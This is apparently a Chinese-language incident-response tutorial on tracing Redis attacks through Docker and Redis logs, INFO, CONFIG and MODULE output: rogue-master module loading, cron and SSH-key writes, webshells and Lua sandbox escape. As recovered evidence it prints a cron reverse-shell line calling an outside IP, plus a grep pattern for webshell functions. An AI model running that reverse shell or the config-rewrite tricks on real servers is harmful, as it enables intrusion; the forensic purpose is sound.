抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

主从复制攻击排查

实验环境为 CentOS7 + Redis 5.0.13

通过日志排查

通过Dcoker日志排查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(root㉿kali)-[/]
└─# docker logs loving_elbakyan
1:C 06 May 2024 08:46:32.955 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
1:C 06 May 2024 08:46:32.955 # Redis version=5.0.14, bits=64, commit=00000000, modified=0, pid=1, just started
1:C 06 May 2024 08:46:32.955 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf
1:M 06 May 2024 08:46:32.956 * Running mode=standalone, port=6379.
1:M 06 May 2024 08:46:32.956 # Server initialized
1:M 06 May 2024 08:46:32.956 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
1:M 06 May 2024 08:46:32.956 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.
1:M 06 May 2024 08:46:32.956 * Ready to accept connections

---------------------------------------------分割线----------------------------------------
1:S 06 May 2024 10:29:28.169 * Before turning into a replica, using my master parameters to synthesize a cached master: I may be able to synchronize with the new master with just a partial transfer.
1:S 06 May 2024 10:29:28.169 * REPLICAOF 192.168.96.1:1234 enabled (user request from 'id=9 addr=172.17.0.1:55592 fd=9 name= age=31 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=46 qbuf-free=32722 obl=0 oll=0 omem=0 events=r cmd=slaveof')
1:S 06 May 2024 10:29:28.842 * Connecting to MASTER 192.168.96.1:1234
1:S 06 May 2024 10:29:28.843 * MASTER <-> REPLICA sync started
1:S 06 May 2024 10:29:28.843 * Non blocking connect for SYNC fired the event.
1:S 06 May 2024 10:29:33.844 * Master replied to PING, replication can continue...
1:S 06 May 2024 10:29:33.844 * Trying a partial resynchronization (request a01036a935e2c26997e33cebae0ff5436a243f71:1).
1:S 06 May 2024 10:29:33.845 * Full resync from master: ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ:1
1:S 06 May 2024 10:29:33.845 * Discarding previously cached master state.
1:S 06 May 2024 10:29:33.845 * MASTER <-> REPLICA sync: receiving 44320 bytes from master
1:S 06 May 2024 10:29:33.846 * MASTER <-> REPLICA sync: Flushing old data
1:S 06 May 2024 10:29:33.846 * MASTER <-> REPLICA sync: Loading DB in memory
1:S 06 May 2024 10:29:33.846 # Wrong signature trying to load DB from file
1:S 06 May 2024 10:29:33.846 # Failed trying to load the MASTER synchronization DB from disk
1:S 06 May 2024 10:29:33.870 * Connecting to MASTER 192.168.96.1:1234
1:S 06 May 2024 10:29:33.870 * MASTER <-> REPLICA sync started
1:S 06 May 2024 10:29:34.008 * Module 'system' loaded from ./exp.so
1:M 06 May 2024 10:29:42.108 # Setting secondary replication ID to a01036a935e2c26997e33cebae0ff5436a243f71, valid up to offset: 1. New replication ID is 3d5f7b8b3e1222704460fcdf01715e126e5fd952
1:M 06 May 2024 10:29:42.108 * MASTER MODE enabled (user request from 'id=9 addr=172.17.0.1:55592 fd=9 name= age=45 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=34 qbuf-free=32734 obl=0 oll=0 omem=0 events=r cmd=slaveof')

从中可以查看到攻击时间、攻击者IP、恶意文件名恶意扩展模块名称等

通过Redis日志排查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[root@VM-8-10-centos ~]# cat /etc/redis.conf | grep logfile
logfile /var/log/redis/redis.log
[root@VM-8-10-centos ~]# cat /var/log/redis/redis.log
2408:M 07 May 2024 10:55:03.778 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
2408:M 07 May 2024 10:55:03.778 # Server initialized
2408:M 07 May 2024 10:55:03.778 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
2408:M 07 May 2024 10:55:03.778 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.
2408:M 07 May 2024 10:55:03.778 * Ready to accept connections
2408:S 07 May 2024 10:57:14.147 * Before turning into a replica, using my master parameters to synthesize a cached master: I may be able to synchronize with the new master with just a partial transfer.
2408:S 07 May 2024 10:57:14.147 * REPLICAOF xxx.xxx.xxx.xxx:56789 enabled (user request from 'id=3 addr=127.0.0.1:47674 fd=9 name= age=108 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=49 qbuf-free=32719 obl=0 oll=0 omem=0 events=r cmd=slaveof')
2408:S 07 May 2024 10:57:15.106 * Connecting to MASTER xxx.xxx.xxx.xxx:56789
2408:S 07 May 2024 10:57:15.106 * MASTER <-> REPLICA sync started
2408:S 07 May 2024 10:57:15.107 * Non blocking connect for SYNC fired the event.
2408:S 07 May 2024 10:57:19.187 # Module ./exp.so failed to load: ./exp.so: cannot open shared object file: No such file or directory
2408:S 07 May 2024 10:57:20.111 * Master replied to PING, replication can continue...
2408:S 07 May 2024 10:57:20.112 * Trying a partial resynchronization (request b3b4fdc7843bfafe15347a957dae622d391b9b95:1).
2408:S 07 May 2024 10:57:20.113 * Full resync from master: ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ:1
2408:S 07 May 2024 10:57:20.113 * Discarding previously cached master state.
2408:S 07 May 2024 10:57:20.113 * MASTER <-> REPLICA sync: receiving 44320 bytes from master
2408:S 07 May 2024 10:57:20.119 * MASTER <-> REPLICA sync: Flushing old data
2408:S 07 May 2024 10:57:20.119 * MASTER <-> REPLICA sync: Loading DB in memory
2408:S 07 May 2024 10:57:20.119 # Wrong signature trying to load DB from file
2408:S 07 May 2024 10:57:20.119 # Failed trying to load the MASTER synchronization DB from disk
2408:S 07 May 2024 10:57:20.120 * Connecting to MASTER xxx.xxx.xxx.xxx:56789
2408:S 07 May 2024 10:57:20.121 * MASTER <-> REPLICA sync started
2408:S 07 May 2024 10:57:20.121 * Non blocking connect for SYNC fired the event.
2408:S 07 May 2024 10:57:20.193 # Error condition on socket for SYNC: Connection reset by peer
2408:S 07 May 2024 10:57:21.123 * Connecting to MASTER xxx.xxx.xxx.xxx:56789
2408:S 07 May 2024 10:57:21.123 * MASTER <-> REPLICA sync started
2408:S 07 May 2024 10:57:21.124 # Error condition on socket for SYNC: Connection refused
2408:S 07 May 2024 10:57:22.125 * Connecting to MASTER xxx.xxx.xxx.xxx:56789

从中可以查看到攻击时间、攻击者IP、恶意文件名恶意扩展模块名称等

通过命令行排查

连接Redis命令行,关注 INFO 下的如下字段,在默认情况下和遭受攻击的情况下会有所改变

  • role:Redis 实例的角色,如果是主服务器,其值为 master,如果是从服务器,其值为 slave
  • connected_slaves:当前连接到主服务器的从服务器的数量。如果这个值大于 0,则表示设置了主从复制
  • master_host:主服务器IP地址,设置了主从复制时才会出现该字段
  • master_port:主服务器端口,设置了主从复制时才会出现该字段
1
2
3
4
5
6
7
8
9
10
// 正常情况下的INFO字段信息
role:master
connected_slaves:0


// 遭受攻击时的INFO字段信息
role:slave
master_host:攻击者IP
master_port:攻击者端口
connected_slaves:0

通常情况下很难在告警的第一时间就连接至Redis进行命令排查,而当攻击者执行完下述命令后上面提到的内容就恢复正常了

1
2
3
// 取消其作为从服务器的角色,使其成为主服务器
127.0.0.1:6379> slaveof no one
OK

此时可以通过如下命令查看配置文件来查看恶意文件名称和恶意文件目录

1
2
3
4
5
6
7
8
9
10
11
12
13
// 默认情况下的配置文件
127.0.0.1:6379> CONFIG GET *
1) "dbfilename"
2) "dump.rdb"
201) "dir"
202) "/root"

// 遭受攻击后的配置文件
127.0.0.1:6379> CONFIG GET *
1) "dbfilename"
2) "exp.so"
201) "dir"
202) "/root"

此时继续排查还可以通过如下命令去查看攻击者加载了哪些恶意模块

1
2
3
4
5
6
7
8
9
10
// 默认情况下的所有模块及其相关信息
127.0.0.1:6379> MODULE LIST
(empty list or set)

// 遭受攻击后的所有模块及其相关信息
127.0.0.1:6379> MODULE LIST
1) 1) "name"
2) "system" // 此时已加载system模块,可以通过system进行命令执行,判断为恶意模块
3) "ver"
4) (integer) 1

此时若需要进行应急处置,则可以去到对应文件目录下将恶意文件删除,将恶意模块卸载,将目录及持久化文件更改为默认即可

1
2
3
4
5
6
127.0.0.1:6379> module unload system
OK
127.0.0.1:6379> config set dir redis的工作目录
OK
127.0.0.1:6379> config set dbfilename dump.rdb
OK

定时任务排查

1
2
3
4
5
6
7
8
9
10
11
12
13
// 默认情况下的配置文件
127.0.0.1:6379> CONFIG GET *
1) "dbfilename"
2) "dump.rdb"
201) "dir"
202) "/root"

// 写入计划任务的配置文件
127.0.0.1:6379> CONFIG GET *
1) "dbfilename"
2) "root"
201) "dir"
202) "/var/spool/cron"

当发现存在恶意脚本后,发现其存在Redis版本信息,不像正常的定时脚本任务

1
2
3
4
5
6
7
8
[root@VM-8-10-centos ~]# crontab -l
REDIS0009� redis-ver5.0.13�
�edis-bits�@�ctime��9fused-mem�8
aof-preamble���xxx<

*/1 * * * * bash -i >& /dev/tcp/152.136.43.227/56789 0>&1

[root@VM-8-10-centos ~]# rm -rf /var/spool/cron/root

恢复Redis正常的配置内容

1
2
3
4
127.0.0.1:6379> config set dir redis的工作目录
OK
127.0.0.1:6379> config set dbfilename dump.rdb
OK

Webshell排查

排查Web目录,需自行维护规则,现排查PHP中包含eval、exec、system、shell_exec、popen、passthre命令

1
find ./ -type f -name "*.php" | xargs grep -E "eval\(|exec\(|system\(|shell_exec\(|popen\(|passthru\(" | more

排查方法

1
2
3
4
5
// 查找1天以内被访问过的文件
find /opt -iname "*" -atime 1 -type f

// 查找最近一天被修改的网站文件,例如 php 网站
find -mtime -1 -type f -name *.php

SSH公钥排查

若攻击者未做痕迹清理则是如下的状态信息

1
2
3
4
5
6
7
8
9
10
11
12
13
// 默认情况下的配置文件
127.0.0.1:6379> CONFIG GET *
1) "dbfilename"
2) "dump.rdb"
201) "dir"
202) "/root"

// 写入SSH公钥的配置文件
127.0.0.1:6379> CONFIG GET *
1) "dbfilename"
2) "authorized_keys"
201) "dir"
202) "/root/.ssh"

查看/root/.ssh/authorized_keys文件中是否存在未知的公钥

1
2
3
4
5
6
7
��H7���[root@VM-8-10-centos ~]# cat /root/.ssh/authorized_keys
REDIS0009� redis-ver5.0.13�
�edis-bits�@�ctime���9fused-mem�@Y
aof-preamble���xB.


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8ivgS86gwNoMkBxxYOs96jL2ulsc1mXV4CzR9NKFF6ywWcLoMQiIRzRArHTcNebEZ5A+a899Ob5ag0VkH9ZB5amkUx8WwJA2L6zI2gQ07eoAdX83II5SSr6BTsLZ2GI0ZCSpZOKjszqmwaMARs9bh9Y3qZ2Q9VP2Hs+DvAtuubKmB0j9ABz85erK9vVaEDyqxdYLraEqeEH1f7I8y5+a/mhKKw7QqX4LBcyz7rwEIIEJAuhaDcnOYN5jLqOJcrmEEXPmkuMiIBZ8F/1YLoFAQoyt8d5ri0/QcwjBQI8vaCOuWZgmSIbFTCqGVeQmzj/0AYco0+fd/3tqKQHEJQ7a9A4jD2n/6hoOUz/M/kib62ISikrSRrMDT4B1bEn5i1ZAFcaHJIfxro8SfRxOUtrPV2IzyEL/5uQdMg2PfqCvfiW1wwPx/0ltwSTOVvoNpIUjRm2Ptz/Oksg3uD8990R737pqMuTUNqcEW060FMlK0V9U4/leoniFS9QwnRvYi8XU=

可看到文件内存在Redis版本号信息,可以将该用户公钥直接删除,同时恢复Redis的默认配置

1
2
3
4
127.0.0.1:6379> config set dir redis的工作目录
OK
127.0.0.1:6379> config set dbfilename dump.rdb
OK

Lua沙箱逃逸

并非 Redis 本身漏洞,形成原因在于系统补丁加载了一些redis源码注释了的代码,所以 Redis 层面是不存在日志的

这种情况只能排查系统日志了

1
2
3
4
5
6
7
8
9
10
11
// 排查系统消息日志
tail -n 100 /var/log/messages

// 排查系统日志
tail -n 100 /var/log/syslog

// 认证和授权相关日志
tail -n 100 /var/log/auth.log

// 安全日志
tail -n 100 /var/log/secure